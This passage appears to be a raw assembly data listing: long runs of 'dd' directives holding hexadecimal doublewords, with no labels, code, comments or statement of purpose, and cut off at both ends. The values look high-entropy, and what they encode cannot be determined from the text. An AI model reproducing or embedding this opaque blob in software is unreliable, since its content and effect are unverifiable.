136C0FBFh, 8BAD1858h dd 31855938h, 1E0C88A2h, 343FD4F1h, 9F68C1DCh, 0A8AC24CFh dd 1C162518h, 0B0B34980h, 0B6483F64h, 0B6076EFh, 0A958B02h dd 0B5007DE2h, 0B7B9BB10h, 4C1DFD8h, 88231566h, 0FC47AA85h dd 0C419BC33h, 0AD10B1FCh, 4E1EFC02h, 873E88C8h, 0CC350D5Eh dd 18A2944Eh, 5C538511h, 9A8D50E3h, 9C1E3FC9h, 7BD7A900h dd 0C192BAh, 2189E826h, 0E6AA1E28h, 3DF9C00Bh, 0A9B486BDh dd 9CC74B11h, 0EE4F2B34h, 36147C40h, 0A008D588h, 3110FF0h dd 0DC9EF93Ah, 0D8A0C122h, 0A8208839h, 0B30A0079h, 1CAA4C4Bh dd 909018ADh, 0E3858D0Ch, 0A60B208Bh, 4002956Ch, 0BD0275C2h dd 4C3B60A0h, 0E510C028h, 0FB691D97h, 38A130D3h, 0DF0A5AE0h dd 0B858A58h, 82AA82FCh, 0C746E24h, 1106DD09h, 0E83CD268h dd 936D1C0Ch, 0A31D3E38h, 0C2E79DA1h, 0E95C5EC4h, 1EE6D0C6h dd 65A80D59h, 8C107C70h, 40BDB264h, 1E804878h, 0AF7FD4h dd 58D1F3C0h, 0E64F0D25h, 5EAC0C81h, 0A64A0468h, 9C009284h dd 5305147Eh, 80FCB9C8h, 8F76ED2Ch, 0E6328350h, 0A1A9B8AEh dd 554B1EE0h, 0BBCC217Fh, 84F032A4h, 80E84C65h, 1E9C8096h dd 3A9D7A9Dh, 0EEFC9650h, 81825F25h, 0C0A17DACh, 59094149h dd 7AD2C91Eh, 6085958Ch, 852CB0A4h, 89AD72Eh, 0B1904680h dd 2B3BB59h, 25185FE5h, 1C609FDCh, 524F2814h, 1C2BD021h dd 0F7E6B600h, 8600F0FAh, 0C3FC2556h, 0DE1F9024h, 9790AE78h dd 26B0B391h, 42083824h, 0A57007Fh, 4057D9Ch, 0DB0BE371h dd 2142C15h, 0C87B4263h, 80648C40h, 0E42CDA4Fh, 0A63CEC0Fh dd 0C596041Fh, 88D6A880h, 0C0294BBFh, 5F64810h, 875FCBFAh dd 0A0B03887h, 75998D0Ch, 0AE4C3027h, 880A6540h, 3400254Ah dd 0DDB35415h, 0F5CE00D8h, 78C007FAh, 829FA285h, 0C9C11680h dd 3C7FB478h, 6C9C8E08h, 503309E9h, 4A9F1AE4h, 80842918h dd 0A480A816h, 12BC30AEh, 1D50759Dh, 785526ECh, 0BC276BC8h dd 5774D82h, 0E91CD17Eh, 38C206BBh, 330F49C2h, 1F005DADh dd 9F1DD130h, 0A36884FBh, 0D4EC4EEBh, 4B32C380h, 882F127Ch dd 8724296Eh, 8980FFC3h, 0D9B9BCh, 0A833CEBAh, 2E8D2608h dd 98B440C0h, 93FA78C2h, 0AC260694h, 0B300B0A4h, 3669542Bh dd 9AC80C58h, 8EBC30A8h, 4F2604D8h, 0BEA06D00h, 0DEAA966Fh dd 70A102B4h, 5ABBADD5h, 62E9AC40h, 9DA0B48h, 0F90E9525h dd 1EA12858h, 2DE51E7Bh, 65C2A093h, 70A51876h, 52ECBEE8h dd 0CCF36C62h, 0A7239F06h, 827A0210h, 1932A03Eh, 7A697702h dd 5C70E788h, 17E913CFh, 151F0DB0h, 0AA0CC90h, 55302460h dd 0FC9FF91Ch, 0D49A6Dh, 0DD05801Ah, 1E5C4BADh, 9074C824h dd 0CF859A02h, 0C45697h, 7819F0C7h, 882D307Dh, 42C48436h dd 989824AEh, 3A339F04h, 8595602Ch, 9D7F6C02h, 2A74F810h dd 7A88C5A9h, 0B790809Bh, 0B513FFE2h, 64E82836h, 6E054B38h dd 0EAA7A977h, 4A193066h, 17E88413h, 2FECF01Ch, 24304005h dd 0E4B885F8h, 7B8853h, 0F664E58Eh, 487B933Dh, 84118D69h dd 0BD037DDCh, 18C1FCA1h, 293889BEh, 726864ECh, 1E7F0828h dd 9C03FFA5h, 21B7985h, 8160D20h, 815DB988h, 570C24B0h dd 49107838h, 38ED2692h, 18A34400h, 6E2562Fh, 1C94918Bh dd 0AC801030h, 0FA321E06h, 0A29660EBh, 0F63526B0h, 42171EF8h dd 5882961h, 0EF279469h, 0E518FDA0h, 0E0532527h, 0F02D38h dd 0A1CDB10Eh, 91880BDDh, 5F307E62h, 0ABE46925h, 90896AD4h dd 0D8124F88h, 3086EAD0h, 0A391931Ch, 43741BD0h, 34E81612h dd 0B0EC3C00h, 164F9A4h, 0C3BF2096h, 3039A1B3h, 0DB2847D0h dd 0B901D498h, 0F0D9C875h, 0B7B6C9Fh, 0B0E1DC64h, 2A7BE143h dd 51C338C8h, 8838B68Eh, 9F41BCC8h, 54658069h, 0EB7D10FEh dd 0C4BC1674h, 0CBB31242h, 1C8CA1D0h, 4B3C872Eh, 29A3C881h dd 0A8E18925h, 416076B1h, 2D849FFFh, 0D87058D0h, 44483E8h dd 9C1E514Fh, 52948858h, 2700D892h, 73D6222h, 99BDECh dd 0CC1FA186h, 0AA28967Bh, 0FA89BB00h, 0B54F0680h, 0DE323E11h dd 3A01606h, 0C40CB8CEh, 70A99E25h, 1D8D0BC5h, 0A0181E47h dd 0E2023CB1h, 8802DE6Ah, 2500740Ah, 0D3F5A4A2h, 9237FCC8h dd 0B978C0F0h, 9F24909Fh, 688460BDh, 13881122h, 0A8160F5Fh dd 1F260400h, 7D85D1h, 0E2AB8A99h, 7325C37Bh, 0B440174Bh dd 0A8065F01h, 0E4E697C7h, 9C13CB72h, 0CC9C2802h, 11F900C2h dd 65CE69CCh, 0B8301D9Eh, 0B9BB20F7h, 27DD245Dh, 4E093984h dd 0B4426585h, 18F1684Ah, 7B339480h, 0BA61B231h, 50251784h dd 20CA26Ah, 98D6B88Ch, 0A5706007h, 881095A8h, 247D56A7h dd 0FD303664h, 0CB12B084h, 94D2DCF0h, 0E056C964h, 0A4B3920Eh dd 0A0C1F105h, 0E400B76Dh, 0E5EAD002h, 7908FC69h, 15A24768h dd 424C5323h, 3925AFCCh, 0D8FD6070h, 85158FAEh, 50A4B478h dd 4016134Ch, 0C169C0Dh, 0D0B0F474h, 5FA01018h, 44C325A3h dd 6BD107D4h, 40E90DFAh, 80C8C011h, 583A3573h, 0A2560F88h dd 536C8045h, 0C46D1633h, 0E32D31h, 9870BEF0h, 0C7F50999h dd 2303A19Ah, 2878E465h, 5418817Ch, 64107D5Ah, 0A38900BDh dd 0AC0BD96Ah, 1300C336h, 5B564BA6h, 26D119Eh, 2865525Ah dd 0BA016BD6h, 78872510h, 4871FDECh, 8FF5F603h, 6F43C794h dd 9C04E4A0h, 298859A8h, 0E1125841h, 3DFA2880h, 2E116C03h dd 1871C13Ch, 0F01033CBh, 9A7000BDh, 4324F579h, 0B70056CAh dd 6E023692h, 52ECD7h, 7788802Dh, 0D84ED2A0h, 4014B44Ch dd 35F85A54h, 90772B09h, 523680D5h, 1DC03E16h, 0FC6FF82Dh dd 7F95037Bh, 0BD57FAD6h dd 20253828h, 0FB182EF4h, 26903E7Eh, 7C1DE860h, 9C3900B6h dd 0DB53F478h, 6A00D0CDh, 2BD552D1h, 1916FF7h, 0C6ED1851h dd 0C157A772h, 5655C06Ch, 7F10E83Bh, 6A74DBB0h, 0B8790E07h dd 0F5C06B07h, 31F98EFCh, 7B104329h, 0FBBC8786h, 41C1F1D4h dd 0EDF06AA9h, 486F60BCh, 0EAB853D0h, 1E6280C0h, 7C02EB17h dd 6B3D0681h, 28E0C455h, 6E542608h, 5A9007DAh, 0C604FE57h dd 49B6C1FCh, 0BC708019h, 0E23ECB38h, 30F390D9h, 63185F5Dh dd 0D270ECABh, 7AEF1101h, 0A133B9BFh, 98238080h, 51E917D5h dd 0E791ED00h, 0EC5224A6h, 4D8400FFh, 9F6D3B02h, 47404554h dd 0E6B83CCEh, 3C068C3Eh, 0F9F7148Fh, 0E0DB7530h, 2528DC1h dd 5422747Ch, 6E01884Bh, 0C89027BFh, 37980072h, 0F4F7F324h dd 0F9C60CC9h, 0D240BC21h, 85CB881Dh, 142E5100h, 1EC3697h dd 0D0EB0FFBh, 0E1372F11h, 0C11081D3h, 9E8B5563h, 0AC2E9440h dd 9FE851F9h, 18A88DE0h, 70786D54h, 0D00E7CBh, 8FC339D6h dd 1F031320h, 440B6C1Dh, 86FA48D1h, 6D283861h, 0D00080A7h dd 0C63DD3FDh, 3135A53h, 9B8F0CF3h, 1230F490h, 4E41584Bh dd 28E1F629h, 6084E4F7h, 0B6F54935h, 702AD6ECh, 9642FCD0h dd 9044F101h, 0F053C92Ch, 0E09015BBh, 0EE0C2A7Eh, 288D4355h dd 316D668Eh, 0FC3CA4EBh, 13558C38h, 55918FBh, 2EC0349Fh dd 0CF8404C2h, 185B0DADh, 0C07E79E0h, 0A0282510h, 0C500FD74h dd 2BD859D1h, 516FF6h, 9CD5FC60h, 0AC3191D4h, 0DE0E807h dd 98A15302h, 80F6EBF4h, 0E2167160h, 48F5488Eh, 62730E10h dd 0F0E678h, 0D12A5951h, 0A6A3822Ch, 831520Ah, 3CEFF902h dd 804E6Bh, 889014F3h, 0E51D5CECh, 0B37B5318h, 67737858h dd 2655300Ah, 567761C9h, 99E28E01h, 2E523711h, 0A00F0840h dd 91C30CF4h, 6CB0D530h, 85002374h, 9FC5D490h, 78F5F470h dd 0DEB90034h, 0D3D06BFCh, 70C3C008h, 0A7E6F9h, 5891CB38h dd 40BDED13h, 0F6DD4E00h, 0B9C9FB6Bh, 0B81C60B3h, 412F90C3h dd 0F43B5419h, 9CD16040h, 92515FE0h, 38805070h, 15573B53h dd 918EEC0Ch, 1D0AA388h, 80F63B04h, 0F740271Eh, 49B288BCh dd 0D7747Bh, 70FDB450h, 2BF61513h, 0D56FF903h, 0E83F49A6h dd 9AEF2954h, 4E7C5Ch, 0D21CCEC0h, 0AF635DD7h, 0DF6EC00h dd 268AA1Bh, 92010119h, 50E69462h, 6F5DDC86h, 8FBB2D39h dd 0E07E2B67h, 5251CD56h, 19810772h, 714307D6h, 30E0873Ah dd 5B77912Ah, 48332C00h, 557064D2h, 640658DEh, 12FA360Fh dd 40AEDB05h, 132B61D4h, 391EDEABh, 0D8822F5Dh, 48DB0855h dd 52924D5Ch, 5304D42Eh, 91F3152Dh, 80D885A0h, 62A66318h dd 95EDE6h, 5021348Dh, 0EF3C05ECh, 0D04A6D28h, 2211BE00h dd 0C9FEF479h, 6F5B3EF9h, 16501E7Bh, 1538E89h, 0C56B0090h dd 0ECDA1F20h, 0ECF03B4h, 0C7575138h, 9916C4C0h, 5426E490h dd 768358AAh, 20CACB95h, 0F56FC590h, 284320A0h, 7955E26h dd 0C6188F24h, 0C8818E23h, 0D011E544h, 0F91272F4h, 60002FA8h dd 91E9A199h, 42D100A7h, 0EC4F3D16h, 0B301714Bh, 38B0D4DCh dd 88258B0Eh, 37B90C20h, 9510233Ch, 0C054809Bh, 261A5299h dd 82181528h, 0AE2DF58h, 463F001Ch, 3A7029CCh, 0B55BC200h dd 16F6A53Dh, 0D7552613h, 296C0BFEh, 3BC10400h, 88F84652h dd 6B104A01h, 5FAD542Dh, 1030E825h, 91746465h, 0A220042Ch dd 1805C209h, 0D1DC40D3h, 4F37068h, 3F3A8F7Fh, 55AC060Dh dd 2584031h, 88D5EC16h, 0A841DDD4h, 0A8F0FFC5h, 0D31EEBD6h dd 6544E48Bh, 0F0C4BB6Dh, 28550813h, 4E819DE4h, 74755516h dd 3A2E3024h, 0A1018DCFh, 25BA5711h, 24A0808Eh, 0C05482DBh dd 38672CF9h, 2755C2CCh, 0C0D4F703h, 0A82FDB78h, 2519910h dd 0DCE42321h, 6C607C97h, 8880E92Ah, 57370BD6h, 0C40023E0h dd 2D41A00Eh, 346F5C04h, 68C894EDh, 38544CEBh, 2F607701h dd 827CEC2Bh, 0E257610h, 0D1080DAh, 201AFE32h, 7CF85C94h dd 0BD070CA4h, 0CE578CAh, 34886D64h, 34D70351h, 0D3BADD70h dd 0BB5881C4h, 33920040h, 4B8C007Dh, 0FCEECDE0h, 7F585970h dd 0FC2A2810h, 0BA904499h, 0F41224C8h, 8BFC3C44h, 932F9140h dd 0ED0076E2h, 0D24B5C9Bh, 0F1773EC7h, 0F0355AF0h, 6C493E01h dd 9C16F93Ch, 551870A0h, 3C900437h, 5C315124h, 0D5329340h dd 0E871C4F1h, 0E1C700A9h, 71C02857h, 0F6261378h, 8FB8044Ch dd 828B094Bh, 7A39720h, 2C14F090h, 600073B2h, 1176D31Ch dd 9AC07755h, 152F0428h, 0D7C648D4h, 0C134D338h, 559A30A0h dd 0E48ABA26h, 6F8728Fh, 4D2888ABh, 0C48C836h, 90995840h dd 0F1F32EC0h, 62DC2C1Ch, 9800B4A6h, 6001BA33h, 0DF2187Bh dd 622438C7h, 0B0A0A090h, 0FF002374h, 0EC6CEF4h, 481E393Ah dd 21CEB04Eh, 9FF40180h, 697A98C4h, 24456A3Eh, 0CB24FC2Ah dd 4C483014h, 18C52D4h, 0C8349757h, 59F140C6h, 0CF87820h dd 0A4A2B9C5h, 9B2BBE30h, 0C297CC80h, 0F2D0CC1Eh, 811A7812h dd 74CC5558h, 0C2008820h, 29350B47h, 126FA366h, 2C3241CFh dd 23C6B78h, 0D4F32455h, 517518Fh, 0C430E7F6h, 0A4C824C1h dd 6851545Ch, 94985897h, 0FA810396h, 9072552Bh, 148F451Dh dd 105DEBCCh, 0FA510C5Ah, 0BE48CC48h, 0E9198A00h, 0E56C0522h dd 0FC2D3055h, 1942860h, 975BCA14h, 1CF1C358h, 0E08FE390h dd 988EF53Eh, 0A4503558h, 71B04099h, 0D1894792h, 0B910BE61h dd 1870FAE4h, 0C7EF3C6Ch, 4073CE12h, 0F0D206F8h, 95068B49h dd 62D454C3h, 7821E6D8h, 58883163h, 226ECB10h, 0B99500C0h dd 54087626h, 1884619Dh, 80293311h, 2BBFED60h, 0C40451Ch dd 0F2BBF9C6h, 2029C738h, 0B02C9C23h, 65291Fh, 0D2D39C24h dd 0F99B0CCFh, 0C130A30Dh, 2DCAB910h, 69D1EA01h, 9246F2BAh dd 0F001C410h, 706DC515h, 361AC70h, 0F96F65C7h, 4050BBD7h dd 1D401624h, 55640A17h, 0FC4652Bh, 0C403BB7Eh, 0EC76ED5h dd 38BCE903h, 0C5010A1Dh, 0FFDF4CC7h, 59545110h, 21BE0056h dd 810A041Bh, 2C485DC6h, 0F84638C1h, 477CEE0Bh, 5380F58Eh dd 4E9835Eh, 0D56308E4h, 0C6C78144h, 3068E05Ch, 890A1EB5h dd 74FE243Ch, 8F5FFCE7h, 0E95CE0E7h, 38DC8C31h, 488AEC83h dd 87198AA3h, 4C5BE6BFh, 1201C77Ah, 0E971E25Ch, 65806034h dd 895159EBh, 0C15081E1h, 2520E93Dh, 43CEC009h, 0C158A257h dd 1807E63Fh, 0B674D38Dh, 0D6F61EB0h, 0F288C51h, 0C73C8330h dd 1C627B02h, 3E7C110h, 99382DE6h, 0C083B624h, 0A7933B0h dd 53D0C439h, 8007CDB7h, 0CFFE14EFh, 0F694405Eh, 0A1EC81D7h dd 3E80894Fh, 0E4C04CB4h, 0CC64FE03h, 0C8191562h, 80681002h dd 0C35CA23h, 0E8B66A1h, 560E978h, 2DD8291Eh, 2F590FD9h dd 19605B27h, 5E687B17h, 53B1E91Bh, 7987E326h, 0A4E4E47Ah dd 510144D7h, 301F65B8h, 0E90126D9h, 2322D031h, 71BDCFD1h dd 0FE62C4A8h, 85F48FEh, 65010D0Ch, 0A2A88E6Ch, 24002C89h dd 0FA153FBDh, 0AEE291Ah, 60BA525Dh, 8131009Eh, 45329DC2h dd 13E9590Ch, 77213866h, 0C179F2D9h, 815AD647h, 40F28744h dd 135E31Dh, 6C14815Fh, 8B5E830Ch, 0C443ED1Ch, 0F7155E9h dd 258A2D46h, 148B42E2h, 0C06E108Eh, 40A8506Ah, 0E15EE958h dd 0D8528AA1h, 0CDCDDD5h, 724CD81Fh, 62C10EEBh, 82C45CE8h dd 67209990h, 541E0A28h, 0B2698702h, 324C0118h, 0FF590C01h dd 0B3C24134h, 50469883h dd 2383D48h, 0C8897A41h, 0CB902D59h, 7FC0B7E9h, 0E01260BDh dd 0D5F73206h, 81005D40h, 7865FBEDh, 0BF014CE6h, 77B3573Fh dd 10E0685Fh, 0E2A26B72h, 0D1F78010h, 9BBF570Eh, 810F4036h dd 502AD4CFh, 0FC7EA90h, 3D2E499Eh, 213CE780h, 18C07384h dd 13742D03h, 5FF90331h, 0F2E9CB89h, 89B589D4h, 2A3078h dd 0B560D00Ch, 0F0293EC1h, 5706B414h, 8F4E4001h, 24F5010Ah dd 4803EBEh, 74C3E080h, 0C3C9E658h, 28B7EB08h, 66EA12D6h dd 1FB25219h, 0D3C18E18h, 5A815F07h, 0D6C0B60Fh, 0F968F4A1h dd 8A24257Bh, 0EAC8E910h, 71F38180h, 0F605AD38h, 264D6569h dd 91902466h, 4384344h, 52BDD75Fh, 69E5579Eh, 309B0934h dd 99BB533Fh, 0D4899545h, 88248B18h, 8A94FE5h, 9C5A9FD2h dd 0A0CF3039h, 0F0F9015Bh, 28126523h, 0E49206ADh, 55001EF6h dd 0CA2F0DBDh, 9E5C13Ch, 1ED8308h, 0F5810A00h, 41F02A72h dd 0E906ECFDh, 0AB7D8033h, 63F192C6h, 93F3377Fh, 9C04D9EDh dd 46DA8687h, 935B0BC0h, 930C305h, 0C5899D47h, 8D769207h dd 2248F43Ch, 5B657D09h, 0F15E8656h, 5897889Eh, 32BD3568h dd 0EE774479h, 115F1A62h, 0F146486h, 0D904EAEBh, 0F613901Dh dd 0BB0CE84Ah, 59F2313Ch, 419B5Eh, 95AD021h, 84150FC0h dd 7D85478h, 0D7E91C77h, 526A211Bh, 0F5C8FE88h, 9828EA5Ah dd 0EE482439h, 0A4CF8006h, 0F76CB26Eh, 0DF3DD772h, 4509F64Fh dd 80750D6Ah, 3B5E5085h, 57F2A00Bh, 2D4F2A6Bh, 0A64D55D2h dd 2EDBF11h, 0A10A7130h, 0E5E408BFh, 2E141920h, 0D91C1E68h dd 20BB6126h, 0C6488388h, 0D8DB1A35h, 5A61C08Ch, 4CE148C1h dd 16D4F61Ah, 0EA4C5844h, 0DA655422h, 0E2AE1B54h, 0E69AEFEEh dd 0B8505300h, 7539728Fh, 3357E48h, 0D0F126Bh, 7893279Ah dd 3DFE1601h, 81507ABBh, 20A5AB40h, 0E92115CBh, 8706C798h dd 8D6F7F3h, 779BC15Ch, 8781DB3Ah, 52924591h, 0E849C363h dd 3F31D4A7h, 0CE825BDEh, 60EF3FA4h, 0D9B0FF41h, 42D660FFh dd 0D0258C41h, 9131ADE0h, 0C0A2A480h, 3BE9C829h, 0FAF8E4Dh dd 2B01B450h, 7E23AA35h, 0BF406102h, 0AAE8078h, 90275F50h dd 0F7030A84h, 0B44DDDh, 0CFD684F3h, 0DFA1EB89h, 6270A652h dd 0DD225159h, 0BB940690h, 5E526914h, 3622D84h, 0C147DF87h dd 10821AFBh, 66F1F65Ch, 0E6604262h, 62825430h, 7E4C6C69h dd 68070AC1h, 0B7E1377Ch, 0F84559h, 2013BEE2h, 534C5B51h dd 121B02D0h, 404732E3h, 30E9554Dh, 0EEAB0B7Ch, 2F1768AEh dd 0D4004E37h, 0F058E8A9h, 98F74831h, 1923F8F3h, 36B265Fh dd 0F32EE910h, 480E8442h, 284499Bh, 0F6106BB8h, 0C1D98056h dd 2A76B761h, 9194E9h, 757AFBBAh, 0DE28155h, 2858B3ECh dd 0D15400F4h, 8BE92327h, 0BB1399FEh, 0A5180DCDh, 0C2D14F2h dd 23E72005h, 0BC82F75Dh, 0BEAFA0BBh, 606C528Ah, 0D1F2E868h dd 0C112E4ADh, 540908EEh, 0E2A30646h, 73E304BFh, 8072AB42h dd 0AA406059h, 7BE92013h, 0EE83A844h, 0E585A686h, 0E9C8E8CEh dd 49EDC21Ah, 0E360D9F7h, 4A2C13B5h, 14011A34h, 29CB64C0h dd 0CAD260FAh, 8C99159h, 5148079h, 3156969Dh, 2D5CB840h dd 53742C73h, 0D386CD47h, 1E417EE0h, 2CC85C92h, 0ECB05257h dd 3F753020h, 0A6CC515Fh, 4995653Eh, 1250A83Bh, 4F63ED62h dd 3102A78h, 0CC6A28E7h, 68660E93h, 5E963138h, 96852E8Fh dd 53A02002h, 154AE268h, 2C817A22h, 0E9155B8Fh, 38BAF0DDh dd 513C02EBh, 4ADA8908h, 6D64579h, 0E400BE9h, 0BB010D84h dd 75737924h, 718CA8E9h, 0F560DE09h, 0C768EAA8h, 541A4B65h dd 18731C3h, 7B65E347h, 7CC14EF9h, 6CC303C6h, 0F8FD69F5h dd 230D0C5h, 0DD014B1Fh, 33E97FE9h, 6490D95Dh, 0D4C93158h dd 5B476833h, 0B78982F6h, 36C90E80h, 0C1017B59h, 535704EFh dd 0C78732E9h, 34D3F766h, 6B5AC743h, 54C6DE2Eh, 0F2810CECh dd 0B63209C6h, 0A2B9C940h, 0E769400Bh, 7CE02C01h, 3A6602DFh dd 66623072h, 0E9076B40h, 2C3BD034h, 0C012EF83h, 7D29C666h dd 529725C3h, 0CA8F3E91h, 665D6944h, 0DD680B59h, 0E955B011h dd 12656F03h, 0A20DFAC4h, 8B747ED8h, 963F5599h, 0E13052D4h dd 266484BEh, 23D735Dh, 491C70D9h, 0F3AFD4C0h, 0E72A402Eh dd 0BE565E04h, 20E95FB4h, 87416716h, 9B309321h, 79CE59B3h dd 91D4E528h, 96ED90BFh, 915C1449h, 19942691h, 0DE3CD266h dd 922CD5ACh, 76844757h, 61B953Ch, 2F7BBCC2h, 0AC35D981h dd 2C1F0E0Fh, 9CAE7C8h, 3A8484BBh, 4F08029h, 7206366Dh dd 0E35FE94Bh, 0C0B1B222h, 0F7BF5BA5h, 0E292EB01h, 3E515D46h dd 25877C03h, 2A235CB4h, 962E5453h, 99A63B77h, 40159CACh dd 9B334BB2h, 870C1A83h, 40E5443Ch, 0B1424E35h, 90E78957h dd 64A4E91Eh, 0DC590A2Eh, 2C69FFE4h, 0B954406Bh, 53E23027h dd 2074E961h, 0BA409794h, 504E2F63h, 24AE819h, 0E9791C1Dh dd 5C0281AFh, 34467152h, 514E8132h, 1E482379h, 9993E821h dd 0F001E881h, 5C5E6D95h, 7D9006D0h, 2B56454Bh, 0E0E08D2Eh dd 82143Ah, 31E0EEC0h, 3F3749B4h, 0AAD58328h, 0E234841Eh dd 92E50112h, 0EC50BE1Bh, 91A485DCh, 3D4C17Fh, 5E44866h dd 515EC423h, 25B48ED0h, 5A1533F9h, 0AD030ECAh, 0FFBDE4C2h dd 4CEDD9B3h, 928816A1h, 0E9C5605Ah, 2596599Dh, 732F0C4Fh dd 5DC37289h, 588010DAh, 0D11EA81h, 121320Dh, 8016EFAh dd 0B7521A88h, 309E4555h, 0FA4CE9FBh, 7105ED3h, 9405002Bh dd 2978AD2Ch, 208990F0h, 893B4820h, 672899CAh, 6D2CBAC5h dd 815AD181h, 6417266Ch, 729938F0h, 1C97F304h, 3872B4E3h dd 92585A1Ch, 2928803Dh, 815F4081h, 6E18EF06h, 30C2C08h dd 3D7A01DAh, 22E64EE9h, 7136B901h, 0F9311185h, 19F5773h dd 0F02159CEh, 2DFE295Eh, 563E0458h, 0D1D8A8C3h, 0AE897E21h dd 0EF666DE2h, 55FD53A0h, 7DE1C080h, 88500707h, 47D0F6C8h dd 1A5886C1h, 0F7BE0567h, 2F82D722h, 6213020Eh, 0B2C46668h dd 0F32F502Bh, 28D73908h, 4B06A467h, 0A6F64420h, 1C8112C8h dd 30C086C5h, 0EF890548h, 29FE015Dh, 964447Eh, 228B0141h dd 85686330h, 2B276E4Ah, 0D1262082h, 42163C38h, 88063167h dd 52E8C9D5h, 0D68E528Dh, 0C1E03012h, 0F73E06EAh, 0A5695DAh dd 0F22909EDh, 0B082C65Eh, 723A594Ah, 0E39A7E9Bh, 924DF9C1h dd 6514E273h, 4806D1F8h, 3B1C20E5h, 8695CBB7h, 2A414313h dd 74633151h, 0A1053595h, 1C29749h, 864958C5h, 0A035BC33h dd 895D1507h, 5923ACCDh, 1D2AE904h, 6486609h, 6EBAC7D5h dd 1A63C202h, 41295C25h, 842EAC8h, 0FB00505Fh, 27BDA182h dd 1F60841Ch, 5E022BCDh, 0EDC122A9h, 34F38003h, 483A7016h dd 9003B556h, 0E913D614h, 93A57AA2h, 6914D9DDh, 4441D46Bh dd 0D65DC45Ah, 0A75B5A34h, 2AB5E937h, 31AD2480h, 474068D8h dd 7000EE9Bh, 57827ECh, 4136002Ch, 51D02957h, 1B0E34B9h dd 6BE94CB2h, 0A413A228h, 8956590Bh, 751A1657h, 2EA5B708h dd 0A868417Dh, 0C4FE3854h, 0BF144EEBh, 31ED6432h, 96CCD98Fh dd 0CA028169h, 6A3903A9h, 56E4404Ah, 3E5A2846h, 0C50558A0h dd 66F1A4C0h, 7D25E977h, 79289AEBh, 895605F0h, 0DAC0DDE6h dd 5F98FB52h, 4D85E92Ch, 6D805893h, 0E389424Eh, 7B51D92Dh dd 0BF02CD2Ch, 67D7367Fh, 10D7CD0h, 0C23359CFh, 810DC9B4h dd 22B30F08h, 0C64075F3h dd 0F6E60380h, 6603EEC0h, 85417C10h, 0E4E25C26h, 1EEA05EDh dd 4E5AB132h, 26D92256h, 6A7A8B44h, 12D6127Ch, 0F359850h dd 4F493002h, 4006E9C1h, 0F0973B21h, 1514A5Ah, 3332DEE9h dd 0A7A1F575h, 9DA20197h, 0D3C85966h, 46D1C414h, 5CB601CFh dd 0F1C14AB1h, 1530F631h, 0E9D90AF6h, 0A1AA7E69h, 4422285Ah dd 5FB13C18h, 0DC88EDE5h, 4FE9335Ch, 0BBB33519h, 0C101F4F0h dd 3D585858h, 5E031A59h, 0BFAD320h, 0F824C5FBh, 9442B254h dd 9E2826B4h, 0DA046369h, 4030E4F2h, 0E6944334h, 0C2D8011Bh dd 4BAFA9E5h, 7393C9E6h, 8BA3067Ch, 0D03DDC52h, 96409406h dd 2A587E69h, 41B925E9h, 50D298BAh, 31FD324h, 2807CA9h dd 0D6F6F186h, 314237E9h, 44A5603Dh, 0FF639BAh, 2B22C85Ah dd 0FA5AE455h, 0E64582Ch, 765EB9C1h, 0D92A2035h, 8E9D137h dd 0A47D1B32h, 40A42C96h, 2FBA4352h, 10E88B5Fh, 8162D1D7h dd 8936385Ch, 0F5270F50h, 0ED8102D7h, 0C31E26E4h, 0A2DED02Ch dd 12303A9h, 0FB09E9EEh, 0F01E2670h, 0C49CE04h, 512F9969h dd 4C258FE5h, 8D92512Dh, 68365867h, 8C40642Ch, 0DE84E961h dd 3A3240A5h, 0FC34E564h, 0C9B2D2E7h, 22F1819Dh, 2225277Ch dd 2A0202A7h, 625855F8h, 290702A8h, 0A1FDF2C8h, 322ABC60h dd 3868331Bh, 1895033Dh, 3E74E17Eh, 48BB14E7h, 4407355Bh dd 12D78078h, 1E874848h, 77C3C55Ch, 0EB039351h, 0E9220FEFh dd 2B663AD4h, 5F056F80h, 3998FCA6h, 3E20507Bh, 2466BB7Bh dd 84BB106Fh, 5B0CC444h, 6C0B75EAh, 23D17CA3h, 0D8271A5Ah dd 1BCB0106h, 0B2C38359h, 0FE0AF1B2h, 31033359h, 0B50D066Ah dd 4CF9391Ah, 48D24C49h, 2583038Dh, 0C4CD7D79h, 833780A3h dd 7C5BEFB1h, 8300E064h, 47D50E68h, 15E2F2Eh, 74533711h dd 55925C63h, 932574BAh, 682B1866h, 0B1615833h, 427A12DEh dd 81AE97Bh, 0C4CF24F9h, 45020570h, 8443DDF7h, 0CA6C7C12h dd 6A2899A1h, 0D037E9C3h, 87F0EF76h, 85FA0C59h, 0B5CE63FCh dd 54B18320h, 0BDD8E90Ch, 1AED9401h, 6C8BD75Dh, 18660C5h dd 4C845BDDh, 5DC91802h, 2CD20C30h, 0C33AC9A8h, 0BB71D882h dd 1D681813h, 0A7037EBEh, 0C62978D1h, 571A2558h, 6611A848h dd 9A5ED93Dh, 0CA30D249h, 4E1671AEh, 6D68A0D0h, 91ECA660h dd 8467886Fh, 3270BE02h, 0A42CC101h, 0C10E3C6Ch, 0EF6308E7h dd 7F988107h, 76098552h, 18165AE9h, 1FC58021h, 4A5F2C32h dd 820D7B36h, 0E2D1C209h, 910F0441h, 0B10241EFh, 59CE28B6h dd 800E03E1h, 0B7532506h, 0F6DFF673h, 79C97EC7h, 0FE282CF7h dd 5AC0CB69h, 0DA93E830h, 0FC8B5913h, 6267C917h, 0BFB0570Bh dd 6458C968h, 43B5D05Ah, 55824AF1h, 0E9EAA159h, 0F9736291h dd 55C33D73h, 2D03ADA7h, 2188BE56h, 462E0F27h, 963F6BC1h dd 7CC971CDh, 964219E0h, 22C26388h, 438C104Ah, 97EA6168h dd 7C81EEE9h, 0D1B1C4E0h, 307864E2h, 0BD10E6D7h, 0D20F95B3h dd 86EF31CFh, 3938256Ah, 0D03CFA88h, 200D9B96h, 0F067F97Dh dd 0D9297313h, 48084B10h, 1F37207Ch, 803AFCBBh, 0E3C14301h dd 0BF005704h, 1813AFCCh, 0E65FFB29h, 9E0B97D8h, 0B84B196Ch dd 83319E89h, 381210FEh, 5E0A1A8h, 0C334D3A6h, 0D280C6DBh dd 0EACB2881h, 1469EBEBh, 0FD7C3848h, 0ACC1106Ch, 2071237Fh dd 80055879h, 0EB018EDCh, 37C8C908h, 0B0CA858Fh, 660758EFh dd 3DE1805Ah, 8611F130h, 0D2F636D1h, 67411808h, 72E91630h dd 0A765FFFh, 26F93140h, 0F93BF48h, 4DF721A3h, 526600C1h dd 0EFB41C50h, 0E22847B2h, 0D4888358h, 0BEE9E190h, 6384D89Ah dd 73B18376h, 0FF943121h, 0A61D2230h, 67C625DAh, 0BC6528A4h dd 5B55B7BEh, 0F67A2FB6h, 0A30D5813h, 